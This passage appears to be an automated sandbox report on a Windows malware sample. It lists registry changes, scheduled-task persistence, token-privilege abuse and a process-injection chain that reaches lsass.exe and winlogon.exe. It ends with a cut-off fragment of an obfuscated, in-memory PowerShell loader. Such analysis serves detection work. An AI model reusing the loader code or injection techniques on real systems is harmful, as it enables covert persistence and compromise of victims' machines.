0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000003f58189b85ccda013ab5779b85ccda013ab5779b85ccda0161c20b000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583c6d2000353662366531363062636131363834363832633162646561363065613134626334323033386162316333633535383730303638316166373631653765323463610000b20009000400efbee2583c6de2583c6d2e0000000000000000000000000000000000000000000000000066700900350036006200360065003100360030006200630061003100360038003400360038003200630031006200640065006100360030006500610031003400620063003400320030003300380061006200310063003300630035003500380037003000300036003800310061006600370036003100650037006500320034006300610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c35366236653136306263613136383436383263316264656136306561313462633432303338616231633363353538373030363831616637363165376532346361000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268adaebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268adaebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings	powershell.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\5e34740b-93c2-422a	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105 = 0114020000000000c0000000000000464c0000000114020000000000c000000000000046830000002000000059e3c49a85ccda0159e3c49a85ccda0159e3c49a85ccda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583d6d2000373430363862623861636433323139653464646631343132363464653330353533376135646136346132353234356535353434656233653333653665366637650000b20009000400efbee2583d6de2583d6d2e00000000000000000000000000000000000000000000000000a7b32e01370034003000360038006200620038006100630064003300320031003900650034006400640066003100340031003200360034006400650033003000350035003300370061003500640061003600340061003200350032003400350065003500350034003400650062003300650033003300650036006500360066003700650000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c37343036386262386163643332313965346464663134313236346465333035353337613564613634613235323435653535343465623365333365366536663765000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268a9aebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268a9aebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\26742f30-709c-4486 = "8324"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ef9af96e-5209-4986	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1 = bb99bd9a85ccda01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1 = 0114020000000000c0000000000000464c0000000114020000000000c00000000000004683000000200000009af9b89a85ccda019af9b89a85ccda019af9b89a85ccda01000000000000000001000000000000000000000000000000260514001f50e04fd020ea3a6910a2d808002b30309d19002f433a5c0000000000000000000000000000000000000050003100000000000000000010005573657273003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005500730065007200730000001400500031000000000000000000100041646d696e003c0009000400efbe00000000000000002e0000000000000000000000000000000000000000000000000000000000410064006d0069006e000000140056003100000000000000000010004170704461746100400009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000041007000700044006100740061000000160050003100000000000000000010004c6f63616c003c0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c00000014005a003100000000000000000010005061636b616765730000420009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000005000610063006b00610067006500730000001800e4003100000000000000000010004d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e31683274787965777900009e0009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e003100680032007400780079006500770079000000460060003100000000000000000010004c6f63616c53746174650000460009000400efbe00000000000000002e00000000000000000000000000000000000000000000000000000000004c006f00630061006c005300740061007400650000001a00660031000000000000000000100053746167656441737365747300004a0009000400efbe00000000000000002e000000000000000000000000000000000000000000000000000000000053007400610067006500640041007300730065007400730000001c00ad01320000000000e2583c6d2000353662366531363062636131363834363832633162646561363065613134626334323033386162316333633535383730303638316166373631653765323463610000b20009000400efbee2583c6de2583c6d2e0000000000000000000000000000000000000000000000000066700900350036006200360065003100360030006200630061003100360038003400360038003200630031006200640065006100360030006500610031003400620063003400320030003300380061006200310063003300630035003500380037003000300036003800310061006600370036003100650037006500320034006300610000005000ab0000002700efbe9d00000031535053b79daeff8d1cff43818c84403aa3732d8100000064000000001f000000370000004d006900630072006f0073006f00660074002e00570069006e0064006f00770073002e0043006f006e00740065006e007400440065006c00690076006500720079004d0061006e0061006700650072005f006300770035006e0031006800320074007800790065007700790000000000000000000000000050000000eb0000001c000000010000001c0000003400000000000000ea00000018000000030000003a4b20b11000000057696e646f777300433a5c55736572735c41646d696e5c417070446174615c4c6f63616c5c5061636b616765735c4d6963726f736f66742e57696e646f77732e436f6e74656e7444656c69766572794d616e616765725f6377356e3168327478796577795c4c6f63616c53746174655c5374616765644173736574735c35366236653136306263613136383436383263316264656136306561313462633432303338616231633363353538373030363831616637363165376532346361000010000000050000a028000000cd0000001c0000000b0000a08f856c5e220e60479afeea3317b67173cd00000060000000030000a05800000000000000706b76686d786b690000000000000000cc63c2b45e183445ac2460a9bcbeb268a8aebdff2628ef11b1ba424a43b6706fcc63c2b45e183445ac2460a9bcbeb268a8aebdff2628ef11b1ba424a43b6706fd2000000090000a08d00000031535053e28a5846bc4c3843bbfc139326986dce7100000004000000001f0000002f00000053002d0031002d0035002d00320031002d0033003100360039003400390039003700390031002d0033003500340035003200330031003800310033002d0033003100350036003300320035003200300036002d00310030003000300000000000000000003900000031535053b1166d44ad8d7048a748402ea43d788c1d00000068000000004800000043e29724000000000000d01200000000000000000000000000000000	RuntimeBroker.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\59b318cd-7470-4f68 = "Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy"	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\3794e040-fa23-4a79	RuntimeBroker.exe
Key deleted	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\ca2b8241-f680-401d	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\0b07d650-3d47-4cc1 = "0"	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\31873458-3a2e-4575 = 8a74a39b85ccda01	RuntimeBroker.exe
Set value (data)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2ee5092a-aafc-486f = 7cabc79b85ccda01	RuntimeBroker.exe
Key created	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105	RuntimeBroker.exe
Set value (int)	\REGISTRY\USER\S-1-5-21-3169499791-3545231813-3156325206-1000_Classes\Local Settings\Software\Microsoft\Windows\CurrentVersion\AppModel\SystemAppData\Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy\PersistedStorageItemTable\System\2fa78399-c473-4105 = "0"	RuntimeBroker.exe

Scheduled Task/Job: Scheduled Task 1 TTPs 3 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence execution

Scheduled Task
T1053.005

Processes:

schtasks.exeschtasks.exeschtasks.exe

pid process

3960 schtasks.exe
2996 schtasks.exe
2612 schtasks.exe

pid	process
3960	schtasks.exe
2996	schtasks.exe
2612	schtasks.exe

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

powershell.exepowershell.exepowershell.exeWindows PowerShell.exe

pid	process
4808	powershell.exe
4808	powershell.exe
2156	powershell.exe
2156	powershell.exe
984	powershell.exe
984	powershell.exe
984	powershell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe
1868	Windows PowerShell.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

powershell.exepowershell.exe

description	pid	process
Token: SeDebugPrivilege	4808	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	powershell.exe
Token: SeSecurityPrivilege	2156	powershell.exe
Token: SeTakeOwnershipPrivilege	2156	powershell.exe
Token: SeLoadDriverPrivilege	2156	powershell.exe
Token: SeSystemProfilePrivilege	2156	powershell.exe
Token: SeSystemtimePrivilege	2156	powershell.exe
Token: SeProfSingleProcessPrivilege	2156	powershell.exe
Token: SeIncBasePriorityPrivilege	2156	powershell.exe
Token: SeCreatePagefilePrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2156	powershell.exe
Token: SeRestorePrivilege	2156	powershell.exe
Token: SeShutdownPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeSystemEnvironmentPrivilege	2156	powershell.exe
Token: SeRemoteShutdownPrivilege	2156	powershell.exe
Token: SeUndockPrivilege	2156	powershell.exe
Token: SeManageVolumePrivilege	2156	powershell.exe
Token: 33	2156	powershell.exe
Token: 34	2156	powershell.exe
Token: 35	2156	powershell.exe
Token: 36	2156	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	powershell.exe
Token: SeSecurityPrivilege	2156	powershell.exe
Token: SeTakeOwnershipPrivilege	2156	powershell.exe
Token: SeLoadDriverPrivilege	2156	powershell.exe
Token: SeSystemProfilePrivilege	2156	powershell.exe
Token: SeSystemtimePrivilege	2156	powershell.exe
Token: SeProfSingleProcessPrivilege	2156	powershell.exe
Token: SeIncBasePriorityPrivilege	2156	powershell.exe
Token: SeCreatePagefilePrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2156	powershell.exe
Token: SeRestorePrivilege	2156	powershell.exe
Token: SeShutdownPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeSystemEnvironmentPrivilege	2156	powershell.exe
Token: SeRemoteShutdownPrivilege	2156	powershell.exe
Token: SeUndockPrivilege	2156	powershell.exe
Token: SeManageVolumePrivilege	2156	powershell.exe
Token: 33	2156	powershell.exe
Token: 34	2156	powershell.exe
Token: 35	2156	powershell.exe
Token: 36	2156	powershell.exe
Token: SeIncreaseQuotaPrivilege	2156	powershell.exe
Token: SeSecurityPrivilege	2156	powershell.exe
Token: SeTakeOwnershipPrivilege	2156	powershell.exe
Token: SeLoadDriverPrivilege	2156	powershell.exe
Token: SeSystemProfilePrivilege	2156	powershell.exe
Token: SeSystemtimePrivilege	2156	powershell.exe
Token: SeProfSingleProcessPrivilege	2156	powershell.exe
Token: SeIncBasePriorityPrivilege	2156	powershell.exe
Token: SeCreatePagefilePrivilege	2156	powershell.exe
Token: SeBackupPrivilege	2156	powershell.exe
Token: SeRestorePrivilege	2156	powershell.exe
Token: SeShutdownPrivilege	2156	powershell.exe
Token: SeDebugPrivilege	2156	powershell.exe
Token: SeSystemEnvironmentPrivilege	2156	powershell.exe
Token: SeRemoteShutdownPrivilege	2156	powershell.exe
Token: SeUndockPrivilege	2156	powershell.exe
Token: SeManageVolumePrivilege	2156	powershell.exe
Token: 33	2156	powershell.exe
Token: 34	2156	powershell.exe
Token: 35	2156	powershell.exe

Suspicious use of SetWindowsHookEx 3 IoCs

Processes:

wininit.exepowershell.exe7zip.exe

pid process

4972 wininit.exe
984 powershell.exe
2940 7zip.exe
Suspicious use of UnmapMainImage 2 IoCs

Processes:

Explorer.EXERuntimeBroker.exe

pid process

3356 Explorer.EXE
3996 RuntimeBroker.exe

pid	process
4972	wininit.exe
984	powershell.exe
2940	7zip.exe

pid	process
3356	Explorer.EXE
3996	RuntimeBroker.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exepowershell.exeWScript.execmd.exepowershell.exewininit.exe7zip.exepowershell.EXEdllhost.exe

description	pid	process	target process
PID 5004 wrote to memory of 2128	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 2128	5004	cmd.exe	cmd.exe
PID 5004 wrote to memory of 4808	5004	cmd.exe	powershell.exe
PID 5004 wrote to memory of 4808	5004	cmd.exe	powershell.exe
PID 4808 wrote to memory of 2156	4808	powershell.exe	powershell.exe
PID 4808 wrote to memory of 2156	4808	powershell.exe	powershell.exe
PID 4808 wrote to memory of 5080	4808	powershell.exe	WScript.exe
PID 4808 wrote to memory of 5080	4808	powershell.exe	WScript.exe
PID 5080 wrote to memory of 5000	5080	WScript.exe	cmd.exe
PID 5080 wrote to memory of 5000	5080	WScript.exe	cmd.exe
PID 5000 wrote to memory of 2304	5000	cmd.exe	cmd.exe
PID 5000 wrote to memory of 2304	5000	cmd.exe	cmd.exe
PID 5000 wrote to memory of 984	5000	cmd.exe	powershell.exe
PID 5000 wrote to memory of 984	5000	cmd.exe	powershell.exe
PID 984 wrote to memory of 1868	984	powershell.exe	Windows PowerShell.exe
PID 984 wrote to memory of 1868	984	powershell.exe	Windows PowerShell.exe
PID 984 wrote to memory of 1868	984	powershell.exe	Windows PowerShell.exe
PID 984 wrote to memory of 960	984	powershell.exe	conhost.exe
PID 984 wrote to memory of 960	984	powershell.exe	conhost.exe
PID 984 wrote to memory of 2940	984	powershell.exe	7zip.exe
PID 984 wrote to memory of 2940	984	powershell.exe	7zip.exe
PID 984 wrote to memory of 1060	984	powershell.exe	Install.exe
PID 984 wrote to memory of 1060	984	powershell.exe	Install.exe
PID 984 wrote to memory of 1060	984	powershell.exe	Install.exe
PID 984 wrote to memory of 4972	984	powershell.exe	wininit.exe
PID 984 wrote to memory of 4972	984	powershell.exe	wininit.exe
PID 984 wrote to memory of 4972	984	powershell.exe	wininit.exe
PID 4972 wrote to memory of 3960	4972	wininit.exe	schtasks.exe
PID 4972 wrote to memory of 3960	4972	wininit.exe	schtasks.exe
PID 4972 wrote to memory of 3960	4972	wininit.exe	schtasks.exe
PID 2940 wrote to memory of 492	2940	7zip.exe	powershell.exe
PID 2940 wrote to memory of 492	2940	7zip.exe	powershell.exe
PID 2940 wrote to memory of 2604	2940	7zip.exe	powershell.exe
PID 2940 wrote to memory of 2604	2940	7zip.exe	powershell.exe
PID 984 wrote to memory of 3296	984	powershell.exe	powershell.exe
PID 984 wrote to memory of 3296	984	powershell.exe	powershell.exe
PID 984 wrote to memory of 3312	984	powershell.exe	powershell.exe
PID 984 wrote to memory of 3312	984	powershell.exe	powershell.exe
PID 2940 wrote to memory of 4116	2940	7zip.exe	powershell.exe
PID 2940 wrote to memory of 4116	2940	7zip.exe	powershell.exe
PID 984 wrote to memory of 4504	984	powershell.exe	powershell.exe
PID 984 wrote to memory of 4504	984	powershell.exe	powershell.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 1124 wrote to memory of 3748	1124	powershell.EXE	dllhost.exe
PID 984 wrote to memory of 3432	984	powershell.exe	powershell.exe
PID 984 wrote to memory of 3432	984	powershell.exe	powershell.exe
PID 2940 wrote to memory of 2996	2940	7zip.exe	schtasks.exe
PID 2940 wrote to memory of 2996	2940	7zip.exe	schtasks.exe
PID 3748 wrote to memory of 632	3748	dllhost.exe	winlogon.exe
PID 3748 wrote to memory of 692	3748	dllhost.exe	lsass.exe
PID 3748 wrote to memory of 976	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 416	3748	dllhost.exe	dwm.exe
PID 3748 wrote to memory of 528	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 944	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 1092	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 1112	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 1128	3748	dllhost.exe	svchost.exe
PID 3748 wrote to memory of 1172	3748	dllhost.exe	svchost.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:632

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
PID:416

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{a8bf4daa-7a1c-440a-ab39-c93a58830d40}
2⤵
- Suspicious use of WriteProcessMemory
PID:3748

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:692

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k DcomLaunch -p -s LSM
1⤵
PID:976

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s gpsvc
1⤵
PID:528

C:\Windows\System32\svchost.exe
C:\Windows\System32\svchost.exe -k LocalServiceNetworkRestricted -p -s lmhosts
1⤵
PID:944

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k netsvcs -p -s Schedule
1⤵
- Drops file in System32 directory
PID:1092

C:\Windows\system32\taskhostw.exe
taskhostw.exe {222A245B-E637-4AE9-A93F-A59CA119A75E}
2⤵
PID:2952

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE "function Local:qOvePjccuiEi{Param([OutputType([Type])][Parameter(Position=0)][Type[]]$PpIMTpjccanzAR,[Parameter(Position=1)][Type]$IlJvAblwjS)$meqrIzVrANd=[AppDomain]::CurrentDomain.DefineDynamicAssembly((New-Object Reflection.AssemblyName(''+[Char](82)+''+[Char](101)+''+'f'+''+'l'+''+[Char](101)+''+[Char](99)+''+[Char](116)+''+[Char](101)+''+'d'+'De'+'l'+'e'+'g'+''+[Char](97)+''+[Char](116)+''+'e'+'')),[Reflection.Emit.AssemblyBuilderAccess]::Run).DefineDynamicModule(''+[Char](73)+'nM'+'e'+''+'m'+''+'o'+''+[Char](114)+''+[Char](121)+''+[Char](77)+'odu'+[Char](108)+''+[Char](101)+'',$False).DefineType(''+'M'+''+[Char](121)+''+'D'+''+[Char](101)+''+[Char](108)+'e'+'g'+''+'a'+'t'+[Char](101)+'T'+'y'+''+[Char](112)+''+[Char](101)+'',''+[Char](67)+''+'l'+'a'+'s'+'s'+[Char](44)+''+[Char](80)+'u'+'b'+'li'+[Char](99)+''+[Char](44)+'S'+[Char](101)+''+[Char](97)+''+[Char](108)+''+[Char](101)+''+'d'+''+[Char](44)+''+[Char](65)+'n'+[Char](115)+'iC'+[Char](108)+''+[Char](97)+''+[Char](115)+'s'+','+''+[Char](65)+''+[Char](117)+''+[Char](116)+''+[Char](111)+''+'C'+''+[Char](108)+''+[Char](97)+''+'s'+''+[Char](115)+'',[MulticastDelegate]);$meqrIzVrANd.DefineConstructor(''+[Char](82)+''+[Char](84)+''+[Char](83)+''+'p'+''+[Char](101)+'c'+[Char](105)+'a'+[Char](108)+''+'N'+''+[Char](97)+'me'+','+''+[Char](72)+''+[Char](105)+''+[Char](100)+''+[Char](101)+'ByS'+[Char](105)+''+'g'+''+[Char](44)+''+'P'+'u'+'b'+''+[Char](108)+''+'i'+''+[Char](99)+'',[Reflection.CallingConventions]::Standard,$PpIMTpjccanzAR).SetImplementationFlags(''+'R'+''+[Char](117)+'nt'+[Char](105)+''+[Char](109)+''+[Char](101)+''+','+''+[Char](77)+''+[Char](97)+''+'n'+''+'a'+''+[Char](103)+''+'e'+''+[Char](100)+'');$meqrIzVrANd.DefineMethod(''+'I'+'n'+[Char](118)+''+[Char](111)+'k'+[Char](101)+'','P'+[Char](117)+'b'+'l'+''+[Char](105)+'c'+[Char](44)+''+[Char](72)+''+'i'+''+'d'+''+'e'+''+[Char](66)+''+[Char](121)+''+'S'+''+[Char](105)+''+[Char](103)+''+[Char](44)+''+[Char](78)+''+[Char](101)+''+'w'+''+[Char](83)+''+'l'+'o'+'t'+',V'+[Char](105)+''+[Char](114)+''+[Char](116)+'ua'+[Char](108)+'',$IlJvAblwjS,$PpIMTpjccanzAR).SetImplementationFlags('Run'+[Char](116)+'im'+'e'+''+[Char](44)+'Man'+'a'+''+[Char](103)+''+[Char](101)+''+[Char](100)+'');Write-Output $meqrIzVrANd.CreateType();}$SdAxqJnGOfsWb=([AppDomain]::CurrentDomain.GetAssemblies()|Where-Object{$_.GlobalAssemblyCache -And 